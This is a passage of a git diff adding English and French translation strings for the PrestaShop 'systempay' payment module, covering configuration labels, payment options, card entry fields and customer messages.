+$_MODULE['<{systempay}prestashop>systempayadmindisplay_44877c6aa8e93fa5a91c9361211464fb'] = 'Speed'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_dd7bf230fde8d4836917806aff6a6b27'] = 'Address'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_fc2e1b075d134671d7016188b8011d4e'] = 'Define the FacilyPay Oney information about all shipping methods.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_f430542ef8d11a982a31141ddec5ef8e'] = 'The label of the shipping method.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_c2170582a67d7d0bc7636ad4d322443e'] = 'The delivery type of shipping method.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_361637f00a86ad3879342852b10281a2'] = 'Select whether the delivery is STANDARD or EXPRESS.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_457542431996d9c44a8896330a1f0404'] = 'Enter address if it is a reclaim in shop.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_22003906cd1030f32dd17f58b4049dfe'] = 'Food and grocery'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b88033354e42b423efaefbcc5649ddb9'] = 'Automotive'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_336fdcf7d540e4b430a890b63da159c9'] = 'Entertainment'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_ca5f6d15b151c54a4cbf6f231c540f39'] = 'Home and garden'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_efd593bd9811ea0c1ed407b32f68d599'] = 'Home appliance'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_87f83f78cf682b5606a8ea1544adccf0'] = 'Auction and group buying'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e1bc3b4e930537de4707bb928c712a0c'] = 'Flowers and gifts'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_a382a28ebfd91e538e8f00c0cfd871d2'] = 'Computer and software'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_2c0a2fa68bd358738766a1e7cb3aa917'] = 'Health and beauty'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_ab6a1358f4237ebc94e81384c1275592'] = 'Service for individual'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_6c437bccc40bb38ed269b3e163bb657c'] = 'Service for business'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_918e180e06b96c76b7193c9fcb1cb312'] = 'Sports'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_2e22a11f2216b183de96c2f8d5c2b0f3'] = 'Clothing and accessories'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_1fb0f99b55e6c2be35aed72ebe38c245'] = 'Travel'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_d0507391e83265a7255c1ab8597a750b'] = 'Home audio, photo, video'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_7fa3b0ba6f1dd45ac564a12e16033358'] = 'Telephony'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_a091bbd4496a57bbe07cbe9561818e48'] = 'Product categories options'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_eaa6efee1322e72edf57cb1ab2a1de39'] = 'Use the same category for all products'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_3625cdf19abd4ec330b3db80a9d03c50'] = 'Product category'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_78888a976865d78a0c1845e05cc95a87'] = 'FacilyPay Oney product category'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_12ca1458e2bcfa83963744127377c77b'] = 'Select one category for all products or match each product category with an FacilyPay Oney category.'; +$_MODULE['<{systempay}prestashop>back_office_4a9cc7ddfd6e169a1b434d6839d91a7e'] = 'GENERAL CONFIGURATION'; +$_MODULE['<{systempay}prestashop>back_office_7c579486ce2345a95aec18c4eb2584a9'] = 'ONE-TIME PAYMENT'; +$_MODULE['<{systempay}prestashop>back_office_a51ca50af2761900a8835ca9eef9e94e'] = 'PAYMENT IN SEVERAL TIMES'; +$_MODULE['<{systempay}prestashop>back_office_7d55b20a8de0d7dadf1e65cf856037e6'] = 'FACILYPAY ONEY PAYMENT'; +$_MODULE['<{systempay}prestashop>back_office_c9cc8cce247e49bae79f15173ce97354'] = 'Save'; +$_MODULE['<{systempay}prestashop>redirect_f1c1725dc182726512227aef9ee210c7'] = 'Payment processing'; +$_MODULE['<{systempay}prestashop>redirect_31682b69de73c081c487b0cb5002549d'] = 'Redirection to payment platform'; +$_MODULE['<{systempay}prestashop>redirect_879f6b8877752685a966564d072f498f'] = 'Your shopping cart is empty.'; +$_MODULE['<{systempay}prestashop>redirect_e555610477d1aa7807d93f28ba80141e'] = 'Payment by bank card'; +$_MODULE['<{systempay}prestashop>redirect_67e5af82e0dca6b20203d71fd681814a'] = 'Please wait a moment. Your order payment is now processing.'; +$_MODULE['<{systempay}prestashop>redirect_ff1b91552dca022519140532b2b2ab82'] = 'Please wait, you will be redirected to the payment platform.'; +$_MODULE['<{systempay}prestashop>redirect_255a72c22960b12c1fab325d80e0dd56'] = 'If nothing happens in 10 seconds, please click the button below.'; +$_MODULE['<{systempay}prestashop>redirect_99938b17c91170dfb0c2f3f8bc9f2a85'] = 'Pay'; +$_MODULE['<{systempay}prestashop>payment_return_be6df635dcc7e523098a34e105376cee'] = 'The shop is in maintenance mode.The automatic notification (peer to peer connection between the payment platform and your shopping cart solution) cannot work.'; +$_MODULE['<{systempay}prestashop>payment_return_93ec33bd6d2df2fd2c69cc83ef77ddee'] = 'The automatic notification (peer to peer connection between the payment platform and your shopping cart solution) hasn\'t worked. Have you correctly set up the server URL in your store backoffice ?'; +$_MODULE['<{systempay}prestashop>payment_return_aed9aa264932d1a9f52d263956117993'] = 'For understanding the problem, please read the documentation of the module :'; +$_MODULE['<{systempay}prestashop>payment_return_b6b31e5e082ae15d4942daa6b8ce78f0'] = 'Chapter «To read carefully before going further»'; +$_MODULE['<{systempay}prestashop>payment_return_8dce4920007239e5dce0eea948ddeee3'] = 'Chapter «Server URL settings»'; +$_MODULE['<{systempay}prestashop>payment_return_18c51ad1b1fe562479120ab35f890fc9'] = 'If you think this is an error, you can contact our'; +$_MODULE['<{systempay}prestashop>payment_return_64430ad2835be8ad60c59e7d44e4b0b1'] = 'customer support'; +$_MODULE['<{systempay}prestashop>payment_return_73f642dd4a7e09c7570833f584f77263'] = 'GOING INTO PRODUCTION'; +$_MODULE['<{systempay}prestashop>payment_return_fce9858aa1e2d1353476b18320719dc3'] = 'You want to know how to put your shop into production mode, please go to this URL : '; +$_MODULE['<{systempay}prestashop>payment_return_de24df15226a5139eb60c3b24c1efbd6'] = 'Your order has been registered with a payment error.'; +$_MODULE['<{systempay}prestashop>payment_return_3fee1227f1b7e441476ccb45278a5f22'] = 'Please contact our'; +$_MODULE['<{systempay}prestashop>payment_return_2e2117b7c81aa9ea6931641ea2c6499f'] = 'Your order on'; +$_MODULE['<{systempay}prestashop>payment_return_75fbf512d744977d62599cc3f0ae2bb4'] = 'is complete.'; +$_MODULE['<{systempay}prestashop>payment_return_ee9d464a5f04b1c5f548d1655691ce82'] = 'We registered your payment of'; +$_MODULE['<{systempay}prestashop>payment_return_0db71da7150c27142eef9d22b843b4a9'] = 'For any questions or for further information, please contact our'; +$_MODULE['<{systempay}prestashop>payment_multi_cb82c86a648fa1d594b0681955bc9930'] = 'Select payment option and click «Pay now» button'; +$_MODULE['<{systempay}prestashop>payment_multi_8bd4837a76cf443ab523a51895e23c36'] = 'Pay now'; +$_MODULE['<{systempay}prestashop>payment_std_b1bdf76454f7e864d239b0c71ee97815'] = 'Click here to pay by bank card'; +$_MODULE['<{systempay}prestashop>payment_std_d0a07bc7bd65a0b0286bfca021f8e280'] = 'Enter payment information and click «Pay now» button'; +$_MODULE['<{systempay}prestashop>payment_std_a44217022190f5734b2f72ba1e4f8a79'] = 'Card number'; +$_MODULE['<{systempay}prestashop>payment_std_60a104dc50579d60cbc90158fada1dcf'] = 'CVV'; +$_MODULE['<{systempay}prestashop>payment_std_8c1279db4db86553e4b9682f78cf500e'] = 'Expiry date'; +$_MODULE['<{systempay}prestashop>payment_std_7cbb885aa1164b390a0bc050a64e1812'] = 'Month'; +$_MODULE['<{systempay}prestashop>payment_std_537c66b24ef5c83b7382cdc3f34885f2'] = 'Year'; +$_MODULE['<{systempay}prestashop>payment_std_8bd4837a76cf443ab523a51895e23c36'] = 'Pay now'; +$_MODULE['<{systempay}prestashop>payment_oney_4803e7f3699700fce00b93f24e48d23d'] = 'Click here to pay with FacilyPay Oney'; \ No newline at end of file diff --git a/modules/systempay/translations/fr.php b/modules/systempay/translations/fr.php new file mode 100755 index 0000000..e566da6 --- /dev/null +++ b/modules/systempay/translations/fr.php @@ -0,0 +1,252 @@ +systempay_2588246e9b8bb55cd587ed5595d3a7e2'] = 'Accepter les paiements par carte de crédit avec %s'; +$_MODULE['<{systempay}prestashop>systempay_53c0eed255c798ec8fc9299e17f01317'] = 'Etes-vous sûr de bien vouloir supprimer les détails de votre module ?'; +$_MODULE['<{systempay}prestashop>systempay_c82760abe276149682e54af149d50163'] = 'Une ou plusieurs valeurs sont invalides pour le champ \"Options de paiement\". Seules les lignes valides sont sauvegardées.'; +$_MODULE['<{systempay}prestashop>systempay_7721928ca91b808090c2e42e8ed087e9'] = 'Vous devez sélectionner au moins un type de carte.'; +$_MODULE['<{systempay}prestashop>systempay_5416423d5ad1d720c85c23afd46239cd'] = 'Valeur invalide \"%s\" pour le champ \"%s\".'; +$_MODULE['<{systempay}prestashop>systempay_b4bf0b891dd528b8bc6a0ceddfd5969b'] = 'L\'acquisition des données de la carte sur le site marchand ne peut pas être utilisée sans activer le SSL.'; +$_MODULE['<{systempay}prestashop>systempay_21c8130b9b2e0a71ca25b5ff65a3b04c'] = 'Le champ \"%s\" est obligatoire.'; +$_MODULE['<{systempay}prestashop>systempay_84d7948ab154d3076c9ed85adf140370'] = 'Un problème est survenu lors de l\'enregistrement du champ \"%s\".'; +$_MODULE['<{systempay}prestashop>systempay_76cd29d10d79ba6370cda5c89ab0946b'] = 'L\'envoi multiple est activé. Le paiement Oney ne peut être activé.'; +$_MODULE['<{systempay}prestashop>systempay_4c7fd4e78164fd8c7c942f71d800010b'] = 'Veuillez renseigner les montants minimum et maximum dans l\'onglet paiement FacilyPay Oney tel que convenu avec Banque Accord.'; +$_MODULE['<{systempay}prestashop>systempay_f38f5974cdc23279ffe6d203641a8bdf'] = 'Configuration mise à jour.'; +$_MODULE['<{systempay}prestashop>systempay_ea55655a72a39fcf04f2dfb3a850671d'] = 'Le champ \"%s\" ne correspond pas aux spécifications du paiement FacilyPay Oney. Veuillez le modifier pour pouvoir utiliser le paiement FacilyPay Oney.'; +$_MODULE['<{systempay}prestashop>systempay_3eeb49b3032fe4320879769af95d803d'] = 'Le champ \"%s\" de votre %s est obligatoire.'; +$_MODULE['<{systempay}prestashop>systempay_8d3f5eff9c40ee315d452392bed5309b'] = 'Nom'; +$_MODULE['<{systempay}prestashop>systempay_b766ce0639c8492e53cd6a3c9a0e2c05'] = 'adresse de facturation'; +$_MODULE['<{systempay}prestashop>systempay_051d3cd9d4ad38267207ab4121aadd66'] = 'Le champ \"%s\" de votre %s est invalide.'; +$_MODULE['<{systempay}prestashop>systempay_20db0bfeecd8fe60533206a2b5e9891a'] = 'Prénom'; +$_MODULE['<{systempay}prestashop>systempay_bcc254b55c4a1babdf1dcb82c207506b'] = 'Téléphone'; +$_MODULE['<{systempay}prestashop>systempay_f0e1fc6f97d36cb80f29196e2662ffde'] = 'Téléphone portable'; +$_MODULE['<{systempay}prestashop>systempay_dd7bf230fde8d4836917806aff6a6b27'] = 'Adresse'; +$_MODULE['<{systempay}prestashop>systempay_22fcffe02ab9eda5b769387122f2ddce'] = 'Adresse(2)'; +$_MODULE['<{systempay}prestashop>systempay_642d3ba5db8b57e006584b544e490ec7'] = 'Code postal'; +$_MODULE['<{systempay}prestashop>systempay_57d056ed0984166336b7879c2af3657f'] = 'Ville'; +$_MODULE['<{systempay}prestashop>systempay_59716c97497eb9694541f7c3d37b1a4d'] = 'Pays'; +$_MODULE['<{systempay}prestashop>systempay_93fa6de74402990149f480456b94f170'] = 'adresse de livraison'; +$_MODULE['<{systempay}prestashop>systempay_687ae6ebf50a06125319516eee9f5fdb'] = 'Votre paiement n\'a pas été accepté. Veuillez repasser votre commande.'; +$_MODULE['<{systempay}prestashop>systempay_e555610477d1aa7807d93f28ba80141e'] = 'Paiement par carte bancaire'; +$_MODULE['<{systempay}prestashop>systempay_796e204aef60da8e6a072431ec43ed2b'] = 'Paiement par carte bancaire en plusieurs fois'; +$_MODULE['<{systempay}prestashop>systempay_ba23145ed5d391c93162698854dbee45'] = 'Paiement avec FacilyPay Oney'; +$_MODULE['<{systempay}prestashop>systempay_13aa1c47157818ce4d54f337a17084af'] = 'Authentification 3DS : '; +$_MODULE['<{systempay}prestashop>systempay_7469a286259799e5b37e5db9296f00b3'] = 'OUI'; +$_MODULE['<{systempay}prestashop>systempay_68a065494f1612ae29b1cde04c936339'] = 'Certificat 3DS : '; +$_MODULE['<{systempay}prestashop>systempay_c2f3f489a00553e7a01d369c103c7251'] = 'NON'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_004a093d1ab4ca81b4024639b4b2427a'] = 'Développé par'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_01ed8a4015b45aa03653c53de46e37ee'] = 'Courriel de contact'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b1c1d84a65180d5912b2dee38a48d6b5'] = 'Version du module'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_666809109472d77b71fc9930436c7ff1'] = 'Version de la plateforme'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_66b5f3034a6f89c316df97eab1ec5663'] = 'Testé avec Prestashop'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_dd98664034d01e01eba03dd5653f9cc3'] = 'CLIQUER ICI POUR ACCÉDER À LA DOCUMENTATION DE CONFIGURATION DU MODULE'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_65a1f435f6f81dfe69dcdfc716f72649'] = 'PARAMÈTRES DE BASE'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b2d37ae1cedf42ff874289b721860af2'] = 'Logs'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_ff9b0dd6daa6ef52ec2504bd7c243c74'] = 'Activer / désactiver les logs du module'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_dfef29864f6f6dcd9dd673f3343221de'] = 'ACCÈS À LA PLATEFORME'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_eff08814984e50d7991932fe8bf15991'] = 'Identifiant de votre site'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_049701ca27fd91a0370ff4c41a5dd3f1'] = 'L\'identifiant de votre site, disponible dans le back-office de votre boutique'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_5abbd73fc5189212c57adfb43adac459'] = 'Certificat en mode test'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_51cc994ce3933ec14767f203e5fd6510'] = 'Certificat fourni par la plateforme de paiement'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_8d79d82e7b1b6174ac9a55a760d64edc'] = 'Certificat en mode production'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_033bd94b1168d7e4f0d644c3c95e35bf'] = 'TEST'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_86601675138015edb458866e7d879118'] = 'PRODUCTION'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_650be61892bf690026089544abbd9d26'] = 'Mode'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_7052d0a2a8ddfd85c7acf46354389a9e'] = 'Mode de fonctionnement du module'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_21dbac9461f8ec4ca19d3fe3907a1776'] = 'URL de la plateforme'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_4d3fe987b854c00669876f09e814dda8'] = 'Le client sera redirigé à cette adresse pour payer'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_d735e44539f64ded159789010b4931b2'] = 'URL serveur à copier dans le back-office de votre boutique'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e0872477664fd58da4b5fe1c2aa6a453'] = 'Sélectionner une boutique pour afficher l\'URL serveur'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_178ab52ae45ca10afab67d9f2a91c70c'] = 'PAGE DE PAIEMENT'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_c96a77fb323a41898c3b6941a58dc741'] = 'Langue par défaut'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e27b4ff6694b9ba58627fee38486a7f6'] = 'Langue par défaut de la page de paiement'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_86bc3115eb4e9873ac96904a4a68e19e'] = 'Allemand'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_78463a384a5aa4fad5fa73e2f506ecfc'] = 'Anglais'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_cb5480c32e71778852b08ae1e8712775'] = 'Espagnol'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_ad225f707802ba118c22987186dd38e8'] = 'Français'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_4be8e06d27bca7e1828f2fa9a49ca985'] = 'Italien'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_f32ced6a9ba164c4b3c047fd1d7c882e'] = 'Japonais'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_3b261136e3c33f35e0a58611b1f344cb'] = 'Chinois'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_30e32c7c4cf434e9c75e60c14c442541'] = 'Portugais'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_41171a0fcd362ce98b5f0f11398713b6'] = 'Suédois'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_68bf367e228f45ba83cb8831a5ee6447'] = 'Néerlandais'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_deba6920e70615401385fe1fb5a379ec'] = 'Russe'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_4e1b0d5f96251571c00165c066b7c550'] = 'Langues disponibles'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_821467b11b6317263a4fc216af7112b8'] = 'Ne rien sélectionner pour utiliser la configuration de la plateforme.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_8f497c1a3d15af9e0c215019f26b887d'] = 'Délai'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_123fc485e1ced719eed781646ffe2650'] = 'Délai avant remise en banque (en jours)'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_941b264af0fd3d55827b0871b45039b2'] = 'Configuration back-office'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_086247a9b57fde6eefee2a0c4752242d'] = 'Automatique'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e1ba155a9f2e8c3be94020eef32a0301'] = 'Manuelle'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_31c46d040ddbf15207ebd7b78af8c45d'] = 'Validation du paiement'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_f567c8fc35869581ef8f47eb37154bb1'] = 'En mode manuel, vous devrez confirmer les paiements dans votre back-office'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b0c3cae935975999a5f8ca3062969346'] = 'Cartes disponibles'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_4131eb611f462538ec0a10abe8b9e724'] = 'Sélectionner les types de carte qui pourront être utilisés pour le paiement.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_9fe0bf30d35545b0688448c029e77fc2'] = 'PERSONNALISATION DE LA PAGE DE PAIEMENT'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e140e06995cf99c43970ef378e12b029'] = 'Configuration du thème'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_5d27e396e9687029d9c9b13c08c79343'] = 'Configuration du thème pour personnaliser la page de paiement (logo, CSS).'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e93c33bd1341ab74195430daeb63db13'] = 'Nom de la boutique'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_92e5b9360dff0d8fa8a7762359257fe7'] = 'Nom affiché sur la page de paiement. Laisser vide pour utiliser la configuration de la plateforme.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_37d00f4554dc3c0baeb34a9c22d787d9'] = 'URL de la boutique'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_21235deb899b707b33cf99f6e8c810dc'] = 'URL affichée sur la page de paiement. Laisser vide pour utiliser la configuration de la plateforme.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_bf261894e1e1e3e798d4b636696e6662'] = '3DS SÉLECTIF'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_920e5afd43a2aefa56e7b336fe49c5d4'] = 'Montant minimum pour lequel activer 3DS'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_459ddd0a40e906c48c32cd32a0cbd9ed'] = 'Nécessite la souscription à l’option 3-D Secure sélectif.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_8e0b19a82842dddd5b4bbf435017d611'] = 'RETOUR À LA BOUTIQUE'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_aadb7680e9cf237017cd8b67f6c73260'] = 'Redirection automatique'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_2051113e1d11164763db9463db4f3f78'] = 'Rediriger le client vers la boutique à la fin du processus de paiement'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e5e1991ad7aaf9fe6464c969920f097a'] = 'Délai en cas de succès'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_46ac211030d7d389966175ae9fd711f4'] = 'Temps en secondes avant que le client soit redirigé vers la boutique après un paiement réussi'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_eb348dd0d56400bd18e7c9e8d25cc666'] = 'Message avant redirection en cas de succès'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_c739fa67a340c76b8bac9281b456ca3e'] = 'Message affiché au client avant qu\'il soit redirigé vers la boutique après un paiement réussi'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_927bb2451d920fdba0ab0823fa7bae6d'] = 'Délai en cas d\'échec'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_78d4bee1d6875f229d4e4320a6abf10e'] = 'Temps en secondes avant que le client soit redirigé vers la boutique après l\'échec du paiement'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_00b7bcd80d9c9f19186b0c729f6085c4'] = 'Message avant redirection en cas d\'échec'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_a4e63e0b942643e02daa5d2d3df9a814'] = 'Message affiché au client avant qu\'il soit redirigé vers la boutique après l\'échec du paiement'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_a310223d5085f1c22218a24bc33b4e5d'] = 'GET (paramètres dans l\'URL)'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_13b89b1404ec947deeb347c8e3901f9b'] = 'POST (formulaire)'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_5c6a16d0f0782adac84a09b281878e84'] = 'Mode de retour'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_369a63dd2214318d4b7107a0b74cc81f'] = 'Façon dont le client transmettra le résultat du paiement lors de son retour sur la boutique'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_4dcaea1b2d8f025a39f1dec679a6186e'] = 'Retourner au choix du moyen de paiement'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_4d48c7d2809edea0b654f236d9695943'] = 'Enregistrer la commande échouée et retourner à l\'historique'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_0922629c59c5f69e205a4c831f819794'] = 'Gestion des paiements échoués'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_2ec6d9d74ab7d1ef252b9c514c1f0ec8'] = 'Comment traiter le retour du client après que le paiement ait échoué'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_50aeba62672dfa15fed779c0248653cb'] = 'Paramètres GET additionnels'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_c6c2cd91778ce3c566b06c1632ccde1e'] = 'Paramètres supplémentaires envoyés au retour en mode GET'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_9fe7d4433879f84a21f1a9b47c792550'] = 'Paramètres POST additionnels'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_1a01ef92951bf4fcc5cc02ec502e3e0d'] = 'Paramètres supplémentaires envoyés au retour en mode POST'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_9d6b881a4d17ea44c0f9786f6a5e9c7f'] = 'OPTIONS DU MODULE'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_f634a4ce61dbccff9374360fd995aaed'] = 'Titre de la méthode'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_16a00c2b3807b01ce5730590198ff5db'] = 'Titre de la méthode à afficher sur la page des moyens de paiement.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_a9a62e70841c4d06dd16306a85700d36'] = 'Activation'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_6816faa7d62a7c62b89c203b7317b08d'] = 'Sélectionner pour activer le paiement standard.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_bf050a33e991ac51cda468deccbb0692'] = 'RESTRICTIONS SUR LE MONTANT'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_9f6e99bdd4184b83dc478d0ab1b4cbf7'] = 'Montant minimum'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_fc1bc2d581a104d6e77e51cf38811b63'] = 'Montant minimum pour lequel cette méthode de paiement est disponible'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_dcd700acd4c6727dca97f5b414cfb384'] = 'Montant maximum'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_7b594176bb47ad19739bc60a8d5f969b'] = 'Montant maximum pour lequel cette méthode de paiement est disponible'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_8e59fcba6a5225abb4717cd0a017dae5'] = 'ENTRÉE DES DONNÉES DE CARTE'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_861cde4a15ea3a39126fbfb3571326fd'] = 'Acquisition des données sur la plateforme de paiement'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e055e426fa40b587d4b3e238f33a6e38'] = 'Sélection du type de carte sur le site marchand'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_30728a5a5aa3054af1db3fc6407bf20e'] = 'Acquisition des données sur le site marchand'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_c239a367447ad7b1ae922a8e017f033d'] = 'Mode de saisie des données de la carte'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_4bb7fc1c6f2c9cb09369c8e1892b5024'] = 'Sélectionner la manière dont seront saisies les données de la carte de crédit. Attention, pour utiliser l\'acquisition des données sur le site marchand, vous devez vous assurer d\'avoir souscrit à cette option auprès de votre banque.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_4423e7890e7296a9f535ce199d4d015e'] = 'Sélectionner pour activer le paiement multiple'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_ce4d7de3b7a9c4d597d882898a14dcc5'] = 'OPTIONS DU PAIEMENT MULTIPLE'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e3135e5c28bd4c70a9bb3c50b0d278aa'] = 'Options de paiement'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_ec211f7c20af43e742bf2570c3cb84f9'] = 'Ajouter'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b021df6aac4654c454f46c77646e745f'] = 'Libellé'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_80a2645c681d607705f5baab7cf7d2cb'] = 'Montant min'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_7d48ddaff550ef9e47ed788f50d860e7'] = 'Montant max'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_f49498143b94e78415d06029763412b9'] = 'Contrat'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b2ee912b91d69b435159c7c3f6df7f5f'] = 'Nombre'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_1901606ea069a83dc7beea17881ef95a'] = 'Période'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_5e6fab97b55b59a90290d851fb5fe929'] = '1er paiement'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b056d45a87280cf305ce0d0842478c5c'] = 'Cliquer sur le bouton Ajouter pour configurer une ou plusieurs options de paiement.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_bfad44649219843147084d62ba70bc79'] = 'Texte décrivant l\'option de paiement multiple.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e922a8c9070a68a322e3dee8b87f0b62'] = 'Montant minimum pour proposer l\'option.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_59423ceb80faf63c4999208b598ca9fd'] = 'Montant maximum pour proposer l\'option.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_dc51d4d008b18d70eee856269de5e986'] = 'ID du contrat à utiliser avec l\'option (laissez vide de préférence).'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e9902c2d13eac5c51eeb3e4c3b72ee6d'] = 'Nombre total d\'échéances.'; 